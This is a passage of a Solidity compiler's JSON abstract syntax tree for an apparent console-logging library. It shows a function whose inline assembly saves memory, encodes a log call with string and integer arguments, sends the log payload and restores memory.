ier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45708,"mutability":"mutable","name":"p1","nameLocation":"368405:2:22","nodeType":"VariableDeclaration","scope":45750,"src":"368397:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45707,"name":"uint256","nodeType":"ElementaryTypeName","src":"368397:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45710,"mutability":"mutable","name":"p2","nameLocation":"368417:2:22","nodeType":"VariableDeclaration","scope":45750,"src":"368409:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"368409:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45712,"mutability":"mutable","name":"p3","nameLocation":"368429:2:22","nodeType":"VariableDeclaration","scope":45750,"src":"368421:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45711,"name":"uint256","nodeType":"ElementaryTypeName","src":"368421:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"368384:48:22"},"returnParameters":{"id":45714,"nodeType":"ParameterList","parameters":[],"src":"368447:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45802,"nodeType":"FunctionDefinition","src":"369914:1738:22","nodes":[],"body":{"id":45801,"nodeType":"Block","src":"369989:1663:22","nodes":[],"statements":[{"assignments":[45762],"declarations":[{"constant":false,"id":45762,"mutability":"mutable","name":"m0","nameLocation":"370007:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"369999:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45761,"name":"bytes32","nodeType":"ElementaryTypeName","src":"369999:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45763,"nodeType":"VariableDeclarationStatement","src":"369999:10:22"},{"assignments":[45765],"declarations":[{"constant":false,"id":45765,"mutability":"mutable","name":"m1","nameLocation":"370027:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370019:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45764,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370019:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45766,"nodeType":"VariableDeclarationStatement","src":"370019:10:22"},{"assignments":[45768],"declarations":[{"constant":false,"id":45768,"mutability":"mutable","name":"m2","nameLocation":"370047:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370039:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45767,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370039:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45769,"nodeType":"VariableDeclarationStatement","src":"370039:10:22"},{"assignments":[45771],"declarations":[{"constant":false,"id":45771,"mutability":"mutable","name":"m3","nameLocation":"370067:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370059:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45770,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370059:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45772,"nodeType":"VariableDeclarationStatement","src":"370059:10:22"},{"assignments":[45774],"declarations":[{"constant":false,"id":45774,"mutability":"mutable","name":"m4","nameLocation":"370087:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370079:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45773,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370079:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45775,"nodeType":"VariableDeclarationStatement","src":"370079:10:22"},{"assignments":[45777],"declarations":[{"constant":false,"id":45777,"mutability":"mutable","name":"m5","nameLocation":"370107:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370099:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45776,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370099:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45778,"nodeType":"VariableDeclarationStatement","src":"370099:10:22"},{"assignments":[45780],"declarations":[{"constant":false,"id":45780,"mutability":"mutable","name":"m6","nameLocation":"370127:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370119:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45779,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370119:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45781,"nodeType":"VariableDeclarationStatement","src":"370119:10:22"},{"assignments":[45783],"declarations":[{"constant":false,"id":45783,"mutability":"mutable","name":"m7","nameLocation":"370147:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370139:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45782,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370139:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45784,"nodeType":"VariableDeclarationStatement","src":"370139:10:22"},{"assignments":[45786],"declarations":[{"constant":false,"id":45786,"mutability":"mutable","name":"m8","nameLocation":"370167:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370159:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45785,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370159:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45787,"nodeType":"VariableDeclarationStatement","src":"370159:10:22"},{"assignments":[45789],"declarations":[{"constant":false,"id":45789,"mutability":"mutable","name":"m9","nameLocation":"370187:2:22","nodeType":"VariableDeclaration","scope":45801,"src":"370179:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45788,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370179:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45790,"nodeType":"VariableDeclarationStatement","src":"370179:10:22"},{"assignments":[45792],"declarations":[{"constant":false,"id":45792,"mutability":"mutable","name":"m10","nameLocation":"370207:3:22","nodeType":"VariableDeclaration","scope":45801,"src":"370199:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45791,"name":"bytes32","nodeType":"ElementaryTypeName","src":"370199:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45793,"nodeType":"VariableDeclarationStatement","src":"370199:11:22"},{"AST":{"nativeSrc":"370229:1027:22","nodeType":"YulBlock","src":"370229:1027:22","statements":[{"body":{"nativeSrc":"370272:313:22","nodeType":"YulBlock","src":"370272:313:22","statements":[{"nativeSrc":"370290:15:22","nodeType":"YulVariableDeclaration","src":"370290:15:22","value":{"kind":"number","nativeSrc":"370304:1:22","nodeType":"YulLiteral","src":"370304:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"370294:6:22","nodeType":"YulTypedName","src":"370294:6:22","type":""}]},{"body":{"nativeSrc":"370375:40:22","nodeType":"YulBlock","src":"370375:40:22","statements":[{"body":{"nativeSrc":"370404:9:22","nodeType":"YulBlock","src":"370404:9:22","statements":[{"nativeSrc":"370406:5:22","nodeType":"YulBreak","src":"370406:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"370392:6:22","nodeType":"YulIdentifier","src":"370392:6:22"},{"name":"w","nativeSrc":"370400:1:22","nodeType":"YulIdentifier","src":"370400:1:22"}],"functionName":{"name":"byte","nativeSrc":"370387:4:22","nodeType":"YulIdentifier","src":"370387:4:22"},"nativeSrc":"370387:15:22","nodeType":"YulFunctionCall","src":"370387:15:22"}],"functionName":{"name":"iszero","nativeSrc":"370380:6:22","nodeType":"YulIdentifier","src":"370380:6:22"},"nativeSrc":"370380:23:22","nodeType":"YulFunctionCall","src":"370380:23:22"},"nativeSrc":"370377:36:22","nodeType":"YulIf","src":"370377:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"370332:6:22","nodeType":"YulIdentifier","src":"370332:6:22"},{"kind":"number","nativeSrc":"370340:4:22","nodeType":"YulLiteral","src":"370340:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"370329:2:22","nodeType":"YulIdentifier","src":"370329:2:22"},"nativeSrc":"370329:16:22","nodeType":"YulFunctionCall","src":"370329:16:22"},"nativeSrc":"370322:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"370346:28:22","nodeType":"YulBlock","src":"370346:28:22","statements":[{"nativeSrc":"370348:24:22","nodeType":"YulAssignment","src":"370348:24:22","value":{"arguments":[{"name":"length","nativeSrc":"370362:6:22","nodeType":"YulIdentifier","src":"370362:6:22"},{"kind":"number","nativeSrc":"370370:1:22","nodeType":"YulLiteral","src":"370370:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"370358:3:22","nodeType":"YulIdentifier","src":"370358:3:22"},"nativeSrc":"370358:14:22","nodeType":"YulFunctionCall","src":"370358:14:22"},"variableNames":[{"name":"length","nativeSrc":"370348:6:22","nodeType":"YulIdentifier","src":"370348:6:22"}]}]},"pre":{"nativeSrc":"370326:2:22","nodeType":"YulBlock","src":"370326:2:22","statements":[]},"src":"370322:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"370439:3:22","nodeType":"YulIdentifier","src":"370439:3:22"},{"name":"length","nativeSrc":"370444:6:22","nodeType":"YulIdentifier","src":"370444:6:22"}],"functionName":{"name":"mstore","nativeSrc":"370432:6:22","nodeType":"YulIdentifier","src":"370432:6:22"},"nativeSrc":"370432:19:22","nodeType":"YulFunctionCall","src":"370432:19:22"},"nativeSrc":"370432:19:22","nodeType":"YulExpressionStatement","src":"370432:19:22"},{"nativeSrc":"370468:37:22","nodeType":"YulVariableDeclaration","src":"370468:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"370485:3:22","nodeType":"YulLiteral","src":"370485:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"370494:1:22","nodeType":"YulLiteral","src":"370494:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"370497:6:22","nodeType":"YulIdentifier","src":"370497:6:22"}],"functionName":{"name":"shl","nativeSrc":"370490:3:22","nodeType":"YulIdentifier","src":"370490:3:22"},"nativeSrc":"370490:14:22","nodeType":"YulFunctionCall","src":"370490:14:22"}],"functionName":{"name":"sub","nativeSrc":"370481:3:22","nodeType":"YulIdentifier","src":"370481:3:22"},"nativeSrc":"370481:24:22","nodeType":"YulFunctionCall","src":"370481:24:22"},"variables":[{"name":"shift","nativeSrc":"370472:5:22","nodeType":"YulTypedName","src":"370472:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"370533:3:22","nodeType":"YulIdentifier","src":"370533:3:22"},{"kind":"number","nativeSrc":"370538:4:22","nodeType":"YulLiteral","src":"370538:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"370529:3:22","nodeType":"YulIdentifier","src":"370529:3:22"},"nativeSrc":"370529:14:22","nodeType":"YulFunctionCall","src":"370529:14:22"},{"arguments":[{"name":"shift","nativeSrc":"370549:5:22","nodeType":"YulIdentifier","src":"370549:5:22"},{"arguments":[{"name":"shift","nativeSrc":"370560:5:22","nodeType":"YulIdentifier","src":"370560:5:22"},{"name":"w","nativeSrc":"370567:1:22","nodeType":"YulIdentifier","src":"370567:1:22"}],"functionName":{"name":"shr","nativeSrc":"370556:3:22","nodeType":"YulIdentifier","src":"370556:3:22"},"nativeSrc":"370556:13:22","nodeType":"YulFunctionCall","src":"370556:13:22"}],"functionName":{"name":"shl","nativeSrc":"370545:3:22","nodeType":"YulIdentifier","src":"370545:3:22"},"nativeSrc":"370545:25:22","nodeType":"YulFunctionCall","src":"370545:25:22"}],"functionName":{"name":"mstore","nativeSrc":"370522:6:22","nodeType":"YulIdentifier","src":"370522:6:22"},"nativeSrc":"370522:49:22","nodeType":"YulFunctionCall","src":"370522:49:22"},"nativeSrc":"370522:49:22","nodeType":"YulExpressionStatement","src":"370522:49:22"}]},"name":"writeString","nativeSrc":"370243:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"370264:3:22","nodeType":"YulTypedName","src":"370264:3:22","type":""},{"name":"w","nativeSrc":"370269:1:22","nodeType":"YulTypedName","src":"370269:1:22","type":""}],"src":"370243:342:22"},{"nativeSrc":"370598:17:22","nodeType":"YulAssignment","src":"370598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370610:4:22","nodeType":"YulLiteral","src":"370610:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"370604:5:22","nodeType":"YulIdentifier","src":"370604:5:22"},"nativeSrc":"370604:11:22","nodeType":"YulFunctionCall","src":"370604:11:22"},"variableNames":[{"name":"m0","nativeSrc":"370598:2:22","nodeType":"YulIdentifier","src":"370598:2:22"}]},{"nativeSrc":"370628:17:22","nodeType":"YulAssignment","src":"370628:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370640:4:22","nodeType":"YulLiteral","src":"370640:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"370634:5:22","nodeType":"YulIdentifier","src":"370634:5:22"},"nativeSrc":"370634:11:22","nodeType":"YulFunctionCall","src":"370634:11:22"},"variableNames":[{"name":"m1","nativeSrc":"370628:2:22","nodeType":"YulIdentifier","src":"370628:2:22"}]},{"nativeSrc":"370658:17:22","nodeType":"YulAssignment","src":"370658:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370670:4:22","nodeType":"YulLiteral","src":"370670:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"370664:5:22","nodeType":"YulIdentifier","src":"370664:5:22"},"nativeSrc":"370664:11:22","nodeType":"YulFunctionCall","src":"370664:11:22"},"variableNames":[{"name":"m2","nativeSrc":"370658:2:22","nodeType":"YulIdentifier","src":"370658:2:22"}]},{"nativeSrc":"370688:17:22","nodeType":"YulAssignment","src":"370688:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370700:4:22","nodeType":"YulLiteral","src":"370700:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"370694:5:22","nodeType":"YulIdentifier","src":"370694:5:22"},"nativeSrc":"370694:11:22","nodeType":"YulFunctionCall","src":"370694:11:22"},"variableNames":[{"name":"m3","nativeSrc":"370688:2:22","nodeType":"YulIdentifier","src":"370688:2:22"}]},{"nativeSrc":"370718:17:22","nodeType":"YulAssignment","src":"370718:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370730:4:22","nodeType":"YulLiteral","src":"370730:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"370724:5:22","nodeType":"YulIdentifier","src":"370724:5:22"},"nativeSrc":"370724:11:22","nodeType":"YulFunctionCall","src":"370724:11:22"},"variableNames":[{"name":"m4","nativeSrc":"370718:2:22","nodeType":"YulIdentifier","src":"370718:2:22"}]},{"nativeSrc":"370748:17:22","nodeType":"YulAssignment","src":"370748:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370760:4:22","nodeType":"YulLiteral","src":"370760:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"370754:5:22","nodeType":"YulIdentifier","src":"370754:5:22"},"nativeSrc":"370754:11:22","nodeType":"YulFunctionCall","src":"370754:11:22"},"variableNames":[{"name":"m5","nativeSrc":"370748:2:22","nodeType":"YulIdentifier","src":"370748:2:22"}]},{"nativeSrc":"370778:17:22","nodeType":"YulAssignment","src":"370778:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370790:4:22","nodeType":"YulLiteral","src":"370790:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"370784:5:22","nodeType":"YulIdentifier","src":"370784:5:22"},"nativeSrc":"370784:11:22","nodeType":"YulFunctionCall","src":"370784:11:22"},"variableNames":[{"name":"m6","nativeSrc":"370778:2:22","nodeType":"YulIdentifier","src":"370778:2:22"}]},{"nativeSrc":"370808:17:22","nodeType":"YulAssignment","src":"370808:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"370820:4:22","nodeType":"YulLiteral","src":"370820:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"370814:5:22","nodeType":"YulIdentifier","src":"370814:5:22"},"nativeSrc":"370814:11:22","nodeType":"YulFunctionCall","src":"370814:11:22"},"variableNames":[{"name":"m7","nativeSrc":"370808:2:22","nodeType":"YulIdentifier","src":"370808:2:22"}]},{"nativeSrc":"370838:18:22","nodeType":"YulAssignment","src":"370838:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"370850:5:22","nodeType":"YulLiteral","src":"370850:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"370844:5:22","nodeType":"YulIdentifier","src":"370844:5:22"},"nativeSrc":"370844:12:22","nodeType":"YulFunctionCall","src":"370844:12:22"},"variableNames":[{"name":"m8","nativeSrc":"370838:2:22","nodeType":"YulIdentifier","src":"370838:2:22"}]},{"nativeSrc":"370869:18:22","nodeType":"YulAssignment","src":"370869:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"370881:5:22","nodeType":"YulLiteral","src":"370881:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"370875:5:22","nodeType":"YulIdentifier","src":"370875:5:22"},"nativeSrc":"370875:12:22","nodeType":"YulFunctionCall","src":"370875:12:22"},"variableNames":[{"name":"m9","nativeSrc":"370869:2:22","nodeType":"YulIdentifier","src":"370869:2:22"}]},{"nativeSrc":"370900:19:22","nodeType":"YulAssignment","src":"370900:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"370913:5:22","nodeType":"YulLiteral","src":"370913:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"370907:5:22","nodeType":"YulIdentifier","src":"370907:5:22"},"nativeSrc":"370907:12:22","nodeType":"YulFunctionCall","src":"370907:12:22"},"variableNames":[{"name":"m10","nativeSrc":"370900:3:22","nodeType":"YulIdentifier","src":"370900:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371003:4:22","nodeType":"YulLiteral","src":"371003:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"371009:10:22","nodeType":"YulLiteral","src":"371009:10:22","type":"","value":"0x5ab84e1f"}],"functionName":{"name":"mstore","nativeSrc":"370996:6:22","nodeType":"YulIdentifier","src":"370996:6:22"},"nativeSrc":"370996:24:22","nodeType":"YulFunctionCall","src":"370996:24:22"},"nativeSrc":"370996:24:22","nodeType":"YulExpressionStatement","src":"370996:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371040:4:22","nodeType":"YulLiteral","src":"371040:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"371046:4:22","nodeType":"YulLiteral","src":"371046:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"371033:6:22","nodeType":"YulIdentifier","src":"371033:6:22"},"nativeSrc":"371033:18:22","nodeType":"YulFunctionCall","src":"371033:18:22"},"nativeSrc":"371033:18:22","nodeType":"YulExpressionStatement","src":"371033:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371071:4:22","nodeType":"YulLiteral","src":"371071:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"371077:2:22","nodeType":"YulIdentifier","src":"371077:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371064:6:22","nodeType":"YulIdentifier","src":"371064:6:22"},"nativeSrc":"371064:16:22","nodeType":"YulFunctionCall","src":"371064:16:22"},"nativeSrc":"371064:16:22","nodeType":"YulExpressionStatement","src":"371064:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371100:4:22","nodeType":"YulLiteral","src":"371100:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"371106:4:22","nodeType":"YulLiteral","src":"371106:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"371093:6:22","nodeType":"YulIdentifier","src":"371093:6:22"},"nativeSrc":"371093:18:22","nodeType":"YulFunctionCall","src":"371093:18:22"},"nativeSrc":"371093:18:22","nodeType":"YulExpressionStatement","src":"371093:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371131:4:22","nodeType":"YulLiteral","src":"371131:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"371137:5:22","nodeType":"YulLiteral","src":"371137:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"371124:6:22","nodeType":"YulIdentifier","src":"371124:6:22"},"nativeSrc":"371124:19:22","nodeType":"YulFunctionCall","src":"371124:19:22"},"nativeSrc":"371124:19:22","nodeType":"YulExpressionStatement","src":"371124:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371168:4:22","nodeType":"YulLiteral","src":"371168:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"371174:2:22","nodeType":"YulIdentifier","src":"371174:2:22"}],"functionName":{"name":"writeString","nativeSrc":"371156:11:22","nodeType":"YulIdentifier","src":"371156:11:22"},"nativeSrc":"371156:21:22","nodeType":"YulFunctionCall","src":"371156:21:22"},"nativeSrc":"371156:21:22","nodeType":"YulExpressionStatement","src":"371156:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371202:4:22","nodeType":"YulLiteral","src":"371202:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"371208:2:22","nodeType":"YulIdentifier","src":"371208:2:22"}],"functionName":{"name":"writeString","nativeSrc":"371190:11:22","nodeType":"YulIdentifier","src":"371190:11:22"},"nativeSrc":"371190:21:22","nodeType":"YulFunctionCall","src":"371190:21:22"},"nativeSrc":"371190:21:22","nodeType":"YulExpressionStatement","src":"371190:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371236:5:22","nodeType":"YulLiteral","src":"371236:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"371243:2:22","nodeType":"YulIdentifier","src":"371243:2:22"}],"functionName":{"name":"writeString","nativeSrc":"371224:11:22","nodeType":"YulIdentifier","src":"371224:11:22"},"nativeSrc":"371224:22:22","nodeType":"YulFunctionCall","src":"371224:22:22"},"nativeSrc":"371224:22:22","nodeType":"YulExpressionStatement","src":"371224:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45762,"isOffset":false,"isSlot":false,"src":"370598:2:22","valueSize":1},{"declaration":45765,"isOffset":false,"isSlot":false,"src":"370628:2:22","valueSize":1},{"declaration":45792,"isOffset":false,"isSlot":false,"src":"370900:3:22","valueSize":1},{"declaration":45768,"isOffset":false,"isSlot":false,"src":"370658:2:22","valueSize":1},{"declaration":45771,"isOffset":false,"isSlot":false,"src":"370688:2:22","valueSize":1},{"declaration":45774,"isOffset":false,"isSlot":false,"src":"370718:2:22","valueSize":1},{"declaration":45777,"isOffset":false,"isSlot":false,"src":"370748:2:22","valueSize":1},{"declaration":45780,"isOffset":false,"isSlot":false,"src":"370778:2:22","valueSize":1},{"declaration":45783,"isOffset":false,"isSlot":false,"src":"370808:2:22","valueSize":1},{"declaration":45786,"isOffset":false,"isSlot":false,"src":"370838:2:22","valueSize":1},{"declaration":45789,"isOffset":false,"isSlot":false,"src":"370869:2:22","valueSize":1},{"declaration":45752,"isOffset":false,"isSlot":false,"src":"371174:2:22","valueSize":1},{"declaration":45754,"isOffset":false,"isSlot":false,"src":"371077:2:22","valueSize":1},{"declaration":45756,"isOffset":false,"isSlot":false,"src":"371208:2:22","valueSize":1},{"declaration":45758,"isOffset":false,"isSlot":false,"src":"371243:2:22","valueSize":1}],"id":45794,"nodeType":"InlineAssembly","src":"370220:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45796,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"371281:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":45797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"371287:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":45795,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"371265:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45798,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"371265:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45799,"nodeType":"ExpressionStatement","src":"371265:28:22"},{"AST":{"nativeSrc":"371312:334:22","nodeType":"YulBlock","src":"371312:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"371333:4:22","nodeType":"YulLiteral","src":"371333:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"371339:2:22","nodeType":"YulIdentifier","src":"371339:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371326:6:22","nodeType":"YulIdentifier","src":"371326:6:22"},"nativeSrc":"371326:16:22","nodeType":"YulFunctionCall","src":"371326:16:22"},"nativeSrc":"371326:16:22","nodeType":"YulExpressionStatement","src":"371326:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371362:4:22","nodeType":"YulLiteral","src":"371362:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"371368:2:22","nodeType":"YulIdentifier","src":"371368:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371355:6:22","nodeType":"YulIdentifier","src":"371355:6:22"},"nativeSrc":"371355:16:22","nodeType":"YulFunctionCall","src":"371355:16:22"},"nativeSrc":"371355:16:22","nodeType":"YulExpressionStatement","src":"371355:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371391:4:22","nodeType":"YulLiteral","src":"371391:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"371397:2:22","nodeType":"YulIdentifier","src":"371397:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371384:6:22","nodeType":"YulIdentifier","src":"371384:6:22"},"nativeSrc":"371384:16:22","nodeType":"YulFunctionCall","src":"371384:16:22"},"nativeSrc":"371384:16:22","nodeType":"YulExpressionStatement","src":"371384:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371420:4:22","nodeType":"YulLiteral","src":"371420:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"371426:2:22","nodeType":"YulIdentifier","src":"371426:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371413:6:22","nodeType":"YulIdentifier","src":"371413:6:22"},"nativeSrc":"371413:16:22","nodeType":"YulFunctionCall","src":"371413:16:22"},"nativeSrc":"371413:16:22","nodeType":"YulExpressionStatement","src":"371413:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371449:4:22","nodeType":"YulLiteral","src":"371449:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"371455:2:22","nodeType":"YulIdentifier","src":"371455:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371442:6:22","nodeType":"YulIdentifier","src":"371442:6:22"},"nativeSrc":"371442:16:22","nodeType":"YulFunctionCall","src":"371442:16:22"},"nativeSrc":"371442:16:22","nodeType":"YulExpressionStatement","src":"371442:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371478:4:22","nodeType":"YulLiteral","src":"371478:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"371484:2:22","nodeType":"YulIdentifier","src":"371484:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371471:6:22","nodeType":"YulIdentifier","src":"371471:6:22"},"nativeSrc":"371471:16:22","nodeType":"YulFunctionCall","src":"371471:16:22"},"nativeSrc":"371471:16:22","nodeType":"YulExpressionStatement","src":"371471:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371507:4:22","nodeType":"YulLiteral","src":"371507:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"371513:2:22","nodeType":"YulIdentifier","src":"371513:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371500:6:22","nodeType":"YulIdentifier","src":"37